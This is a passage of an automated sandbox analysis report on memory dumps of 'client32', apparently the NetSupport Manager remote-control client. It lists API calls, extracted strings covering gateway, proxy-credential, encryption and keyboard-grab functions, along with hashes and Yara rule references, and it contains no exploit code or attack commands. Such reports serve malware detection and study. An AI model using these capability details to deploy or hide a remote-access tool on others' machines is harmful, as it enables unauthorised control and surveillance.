Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $30/10/15 13:45:13 V12.10F4$830021$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1029625771-1469710737
Opcode ID: 4c6442ae546d6c34c6e669bc9b0d3f2b7a72132ce3f96623498d00e912fca378
Instruction ID: 3410179eeb5a9037d1fa1f4c8bb60b9922e488a50ebb30bdceadca7c29897b10
Opcode Fuzzy Hash: 4c6442ae546d6c34c6e669bc9b0d3f2b7a72132ce3f96623498d00e912fca378
Instruction Fuzzy Hash: 03C1C375E0026A9FDB22DF948C90BEDF7B9BB44308F9044EDE559A7240E7706E80CB61

Function 685963C0 Relevance: 47.4, APIs: 24, Strings: 3, Instructions: 181
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(685DB898,00000000,?,00000000,?,6859D77B,00000000), ref: 685963E8
InterlockedDecrement.KERNEL32(-0003F3B7), ref: 685963FA
EnterCriticalSection.KERNEL32(-0003F3CF,?,00000000,?,6859D77B,00000000), ref: 68596412
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6859643B
SetLastError.KERNEL32(00000078,?,00000000,?,6859D77B,00000000), ref: 68596450
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6859646F
SetLastError.KERNEL32(00000078,?,00000000,?,6859D77B,00000000), ref: 68596484
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 685964A3
SetLastError.KERNEL32(00000078,?,00000000,?,6859D77B,00000000), ref: 685964C5
shutdown.WSOCK32(?,00000001,?,00000000,?,6859D77B,00000000), ref: 685964E9
GetLastError.KERNEL32(?,00000001,?,00000000,?,6859D77B,00000000), ref: 685964F2
timeGetTime.WINMM(?,00000001,?,00000000,?,6859D77B,00000000), ref: 68596510
#16.WSOCK32(?,?,00001000,00000000,?,00000000,?,6859D77B,00000000), ref: 68596526
GetLastError.KERNEL32(?,?,00001000,00000000,?,00000000,?,6859D77B,00000000), ref: 68596533
timeGetTime.WINMM(?,00000000,?,6859D77B,00000000), ref: 68596540
Sleep.KERNEL32(00000001,?,00000000,?,6859D77B,00000000), ref: 6859654B
#16.WSOCK32(?,?,00001000,00000000,?,?,00001000,00000000,?,00000000,?,6859D77B,00000000), ref: 68596563
closesocket.WSOCK32(?,?,?,00001000,00000000,?,00000000,?,6859D77B,00000000), ref: 68596574
WSAGetLastError.WSOCK32(?,?,?,00001000,00000000,?,00000000,?,6859D77B,00000000), ref: 6859657D
Sleep.KERNEL32(00000032,?,?,?,00001000,00000000,?,00000000,?,6859D77B,00000000), ref: 6859658E
GetLastError.KERNEL32(?,?,?,00001000,00000000,?,00000000,?,6859D77B,00000000), ref: 6859659E
_memset.LIBCMT ref: 685965C8
LeaveCriticalSection.KERNEL32(?,?,6859D77B,00000000), ref: 685965D7
LeaveCriticalSection.KERNEL32(685DB898,?,00000000,?,6859D77B,00000000), ref: 685965F2

Strings

InternetCloseHandle, xrefs: 68596435, 68596469, 6859649D
CloseGatewayConnection - shutdown(%u) FAILED (%d), xrefs: 685964FD
CloseGatewayConnection - closesocket(%u) FAILED (%d), xrefs: 685965A9

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$CriticalSection$AddressProc$EnterLeaveSleepTimetime$DecrementInterlocked_memsetclosesocketshutdown
String ID: CloseGatewayConnection - closesocket(%u) FAILED (%d)$CloseGatewayConnection - shutdown(%u) FAILED (%d)$InternetCloseHandle
API String ID: 3764039262-2631155478
Opcode ID: 46e70ae2b76cb51ca48c480c54ac7e9f41fd60fc7245b0e472c8da1468b8f531
Instruction ID: 369a002f3b48f126020b325555e63da1069fb9b65c6b3de85ce35cf1eb95a096
Opcode Fuzzy Hash: 46e70ae2b76cb51ca48c480c54ac7e9f41fd60fc7245b0e472c8da1468b8f531
Instruction Fuzzy Hash: 46518275640340AFDB10EFA8C888B9A77F9EF89315FD14515EE1AD7280DB70E888CB95

Function 685998D0 Relevance: 45.8, APIs: 15, Strings: 11, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strncmp.LIBCMT ref: 6859996F
_strncmp.LIBCMT ref: 685999A5

Strings

%s, xrefs: 68599AAA
xx %02x, xrefs: 68599AFB
Error %d writing inet request on connection %d, xrefs: 68599BE3
abort send, gateway hungup, xrefs: 68599D2E
CMD=NC_DATA, xrefs: 6859999F
Error %d sending HTTP request on connection %d, xrefs: 68599D1F
NC_DATA, xrefs: 68599969
Error send returned 0 on connection %d, xrefs: 68599CF8
3', xrefs: 68599CB2
SendHttpReq failed, not connected to gateway!, xrefs: 68599934, 68599B79
%02x %02x, xrefs: 68599AE7

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: %02x %02x$%s$3'$CMD=NC_DATA$Error %d sending HTTP request on connection %d$Error %d writing inet request on connection %d$Error send returned 0 on connection %d$NC_DATA$SendHttpReq failed, not connected to gateway!$abort send, gateway hungup$xx %02x
API String ID: 909875538-2848211065
Opcode ID: c0ddaf445a32a1138975d6a5c9697123393f874da37b6a50d6b6ae8a1c164734
Instruction ID: 2ef811b70579311959dfd9ad39713bda9f9f37d801767944afe4c474126e2712
Opcode Fuzzy Hash: c0ddaf445a32a1138975d6a5c9697123393f874da37b6a50d6b6ae8a1c164734
Instruction Fuzzy Hash: FCD1DD75A042559FDF20CF68CC84BEEBBB5AF4A314F8440D9D81D9B242D7319A84CF92

Function 11028290 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,74651370,?,0000001A), ref: 1102837D
_strrchr.LIBCMT ref: 1102838C

Part of subcall function 11160E4E: __stricmp_l.LIBCMT ref: 11160E8B

Strings

??I, xrefs: 11028997
NSSAppDataDir, xrefs: 110286C5
TLA, xrefs: 110285A5
TechConsole, xrefs: 110287BD
AssistantName, xrefs: 1102872C
Home, xrefs: 11028575
NSSName, xrefs: 110285D5
NSSLongCaption, xrefs: 110287F5
SupportsChrome, xrefs: 11028786
NSSTLA, xrefs: 11028605
\, xrefs: 1102830C
NSSConfName, xrefs: 110286F5
NSMAppDataDir, xrefs: 11028695
AssistantURL, xrefs: 11028759
product.dat, xrefs: 11028340, 11028391
Name, xrefs: 110284DE
??F, xrefs: 11028910
SupportEMail, xrefs: 11028665
ShortName, xrefs: 11028545
SupportsAndroid, xrefs: 11028822
LongName, xrefs: 11028515
SupportWWW, xrefs: 11028635

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: bffd7a72419acbf4e69006bd0d2009b0d15558627307e104a623c4426f2c4fa7
Instruction ID: 3ecfaec1c78aa64732578d28134276498dc59d4967fe96fbd16849b56c65f872
Opcode Fuzzy Hash: bffd7a72419acbf4e69006bd0d2009b0d15558627307e104a623c4426f2c4fa7
Instruction Fuzzy Hash: 0E12E33ED052A78BDB55CF24CC807D8B7F4AB1A308F4440EAE99597205EB719786CB92

Function 685A6BA0 Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 273
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 685A6BD5
GetTickCount.KERNEL32 ref: 685A6C26
Sleep.KERNEL32(00000064), ref: 685A6C5B

Part of subcall function 685A6940: GetTickCount.KERNEL32 ref: 685A6950

WaitForSingleObject.KERNEL32(000002F8,?), ref: 685A6C7C
_memmove.LIBCMT ref: 685A6C93
select.WSOCK32(00000000,?,00000000,00000000,?), ref: 685A6CB4
Sleep.KERNEL32(00000032,00000000,?,00000000,00000000,?), ref: 685A6CD9
GetTickCount.KERNEL32 ref: 685A6CEC
_calloc.LIBCMT ref: 685A6D76
GetTickCount.KERNEL32 ref: 685A6DF3
InterlockedExchange.KERNEL32(02D32F1A,00000000), ref: 685A6E01
_calloc.LIBCMT ref: 685A6E33
_memmove.LIBCMT ref: 685A6E47
InterlockedDecrement.KERNEL32(02D32EC2), ref: 685A6EC3
SetEvent.KERNEL32(00000300), ref: 685A6ECF
_memmove.LIBCMT ref: 685A6EF4
GetTickCount.KERNEL32 ref: 685A6F4F
InterlockedExchange.KERNEL32(02D32E62,-685DA188), ref: 685A6F60

Strings

ResumeTimeout, xrefs: 685A6BBA
FALSE, xrefs: 685A6E67
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 685A6E62
httprecv, xrefs: 685A6BDD
ProcessMessage returned FALSE. Terminating connection, xrefs: 685A6F25
ReadMessage returned FALSE. Terminating connection, xrefs: 685A6F3A

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked_memmove$ExchangeSleep_calloc$DecrementEventObjectSingleWaitselect
String ID: FALSE$ProcessMessage returned FALSE. Terminating connection$ReadMessage returned FALSE. Terminating connection$ResumeTimeout$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$httprecv
API String ID: 1449423504-919941520
Opcode ID: 115160e606d15e04964988cc5f3d42d282596d0551780c349f8adbf61502a5e1
Instruction ID: 5768964ac529070e8d603857501e83de661ed71089ed95d69a90bef8bcf9960d
Opcode Fuzzy Hash: 115160e606d15e04964988cc5f3d42d282596d0551780c349f8adbf61502a5e1
Instruction Fuzzy Hash: B7B1A0B5D002549FDF20DB68CC84BEEB7B4EB49344F81409AEA59A7240E7B49EC4CF95

Function 11085840 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,00000001,?), ref: 110858CC
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 110858EA
LoadLibraryA.KERNEL32(?), ref: 1108592C
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11085947
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 1108595C
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 1108596D
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 1108597E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 1108598F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 110859A0

Strings

CryptPak.dll, xrefs: 1108589B, 110858FE
CipherServer_GetRandomData, xrefs: 110859BC
CipherServer_GetInfoBlock, xrefs: 11085967
CipherServer_ResetSession, xrefs: 110859CD
CipherServer_DecryptBlocks, xrefs: 110859AB
CipherServer_Destroy, xrefs: 11085956
CipherServer_EncryptBlocks, xrefs: 1108599A
CipherServer_CloseSession, xrefs: 11085989
CipherServer_OpenSession, xrefs: 11085978
CipherServer_Create, xrefs: 11085941

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: 337901d8a57ff9f2c74122cebfcf765c1ae8331dc4db4cdad0fbf418eb706ca4
Instruction ID: e9fa9a36c663d757a0c8add56282bddb088a97f97ce07886abf3270b6b50a9db
Opcode Fuzzy Hash: 337901d8a57ff9f2c74122cebfcf765c1ae8331dc4db4cdad0fbf418eb706ca4
Instruction Fuzzy Hash: C051DE70E0431AAFD710DF79C880AAAFBF8AF49304B2185AAE8D5C7244EB71E441CF51

Function 11105D40 Relevance: 33.5, APIs: 14, Strings: 5, Instructions: 213
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

OpenEventA.KERNEL32(00000002,00000000,nsm_gina_sas,00000009), ref: 11105E1A
CloseHandle.KERNEL32(00000000), ref: 11105E29
GetSystemDirectoryA.KERNEL32(?,000000F7), ref: 11105E3B
LoadLibraryA.KERNEL32(?), ref: 11105E71
GetProcAddress.KERNEL32(?,GrabKM), ref: 11105E9E
GetProcAddress.KERNEL32(?,LoggedOn), ref: 11105EB6
FreeLibrary.KERNEL32(?), ref: 11105EDB

Part of subcall function 1110C2B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,1110D1D5,Function_0010CD70,00000001,00000000,00000000,00000001), ref: 1110C2C7
Part of subcall function 1110C2B0: CreateThread.KERNEL32(00000000,00000001,00000000,00000000,00000000,0000000C), ref: 1110C2EA
Part of subcall function 1110C2B0: WaitForSingleObject.KERNEL32(?,000000FF,?,1110D1D5,Function_0010CD70,00000001,00000000,00000000,00000001,?,?,?,000000FF,?,11026F57), ref: 1110C317
Part of subcall function 1110C2B0: CloseHandle.KERNEL32(?,?,1110D1D5,Function_0010CD70,00000001,00000000,00000000,00000001,?,?,?,000000FF,?,11026F57), ref: 1110C321

GetStockObject.GDI32(0000000D), ref: 11105EEF
GetObjectA.GDI32(00000000,0000003C,?), ref: 11105EFF
InitializeCriticalSection.KERNEL32(0000003C), ref: 11105F1B
InitializeCriticalSection.KERNEL32(111EC5C4), ref: 11105F26

Part of subcall function 111042A0: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11186026,000000FF), ref: 11104373
Part of subcall function 111042A0: LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111043C2

CloseHandle.KERNEL32(00000000,Function_000FFE60,00000001,00000000), ref: 11105F69

Part of subcall function 1109DCF0: GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F58B4,00000001,1113DE08,_debug,TraceCopyData,00000000,00000000,?,?,00000002,00000000), ref: 1109DD11
Part of subcall function 1109DCF0: OpenProcessToken.ADVAPI32(00000000,?,?,110F58B4,00000001,1113DE08,_debug,TraceCopyData,00000000,00000000,?,?,00000002,00000000), ref: 1109DD18
Part of subcall function 1109DCF0: CloseHandle.KERNEL32(00000000,00000000,?,?,00000002,00000000), ref: 1109DD37

CloseHandle.KERNEL32(00000000,Function_000FFE60,00000001,00000000), ref: 11105FBA
CloseHandle.KERNEL32(00000000,Function_000FFE60,00000001,00000000), ref: 1110600F

Strings

GrabKM, xrefs: 11105E98
\pcigina, xrefs: 11105E50
nsm_gina_sas, xrefs: 11105E04
LoggedOn, xrefs: 11105EB0
LPT1, xrefs: 11105DF9

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$Library$LoadObject$AddressCreateCriticalEventInitializeOpenProcProcessSection$CurrentDirectoryFreeSingleStockSystemThreadTokenWait_memsetwsprintf
String ID: GrabKM$LPT1$LoggedOn$\pcigina$nsm_gina_sas
API String ID: 539809342-403456261
Opcode ID: b18508c46a18bbf34551defff19b016e4d08b159e6cc9be7a7aa41d6413da877
Instruction ID: 98d48469d2e7b61091a73167657919c28ab3cbb48a1ba220805b109c32019478
Opcode Fuzzy Hash: b18508c46a18bbf34551defff19b016e4d08b159e6cc9be7a7aa41d6413da877
Instruction Fuzzy Hash: 6981B1B1E007569FDB51CFB48C89BAAFBE5BB08308F10857DE569D7280D7706A40CB12

Function 11136060 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11141710: GetVersionExA.KERNEL32(111ECE98,75BF8400), ref: 11141740
Part of subcall function 11141710: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114177F
Part of subcall function 11141710: _memset.LIBCMT ref: 1114179D
Part of subcall function 11141710: _strncpy.LIBCMT ref: 1114186A

PostMessageA.USER32(00010486,000006CF,00000007,00000000), ref: 1113623F

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

SetWindowTextA.USER32(00010486,00000000), ref: 111362E7
IsWindowVisible.USER32(00010486), ref: 111363AC
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?), ref: 111363CC
IsWindowVisible.USER32(00010486), ref: 111363DA
SetForegroundWindow.USER32(00000000), ref: 11136408
EnableWindow.USER32(00010486,00000001), ref: 11136417
IsWindowVisible.USER32(00010486), ref: 11136468
IsWindowVisible.USER32(00010486), ref: 11136475
EnableWindow.USER32(00010486,00000000), ref: 11136489
EnableWindow.USER32(00010486,00000000), ref: 111363EF

Part of subcall function 1112E330: ShowWindow.USER32(00010486,00000000,?,11136492,00000007,?,?,?,?,?,00000000,?,?,?,?,?), ref: 1112E354

EnableWindow.USER32(00010486,00000001), ref: 1113649D

Strings

HideWhenIdle, xrefs: 111360DC
ViewedText, xrefs: 1113616B
ShowUIOnConnect, xrefs: 1113621D
Client, xrefs: 111360E1, 1113618B, 111361C4, 11136222
LockedText, xrefs: 111361BF
ConnectedText, xrefs: 11136178, 11136187

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$MessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 3453649892-3803836183
Opcode ID: 933d860dfa7abdf9aec1ce1cc807207ef57f020f96dc405baf31ced77d609c35
Instruction ID: e84f8c9860d0a84ca21d0dbcc5e0864e350968dbdf20df23b648977f69907e2d
Opcode Fuzzy Hash: 933d860dfa7abdf9aec1ce1cc807207ef57f020f96dc405baf31ced77d609c35
Instruction Fuzzy Hash: 02C13C75F113259BEB02DFE4CD85BAEF7A6AB8032DF104438D9159B288EB31E944C791

Function 685A33A0 Relevance: 29.1, APIs: 2, Strings: 17, Instructions: 571COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 685A34FD
wsprintfA.USER32 ref: 685A3727

Strings

Gateway_WebProxy, xrefs: 685A359D
r<Zh, xrefs: 685A33B3
Gateway, xrefs: 685A3577
*PINServer, xrefs: 685A35C4
client247, xrefs: 685A362F
*WebProxy, xrefs: 685A3459
P, xrefs: 685A3533
UsePinProxy, xrefs: 685A35D0
:%d, xrefs: 685A34F7
ProxyUsername, xrefs: 685A36E0
%s:%s, xrefs: 685A3721
ProxyPassword, xrefs: 685A36F7
PinProxy, xrefs: 685A35ED
Gateway_UseWebProxy, xrefs: 685A3585
*GatewayAddress, xrefs: 685A3430
ProxyCred, xrefs: 685A362A
*UseWebProxy, xrefs: 685A343C

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
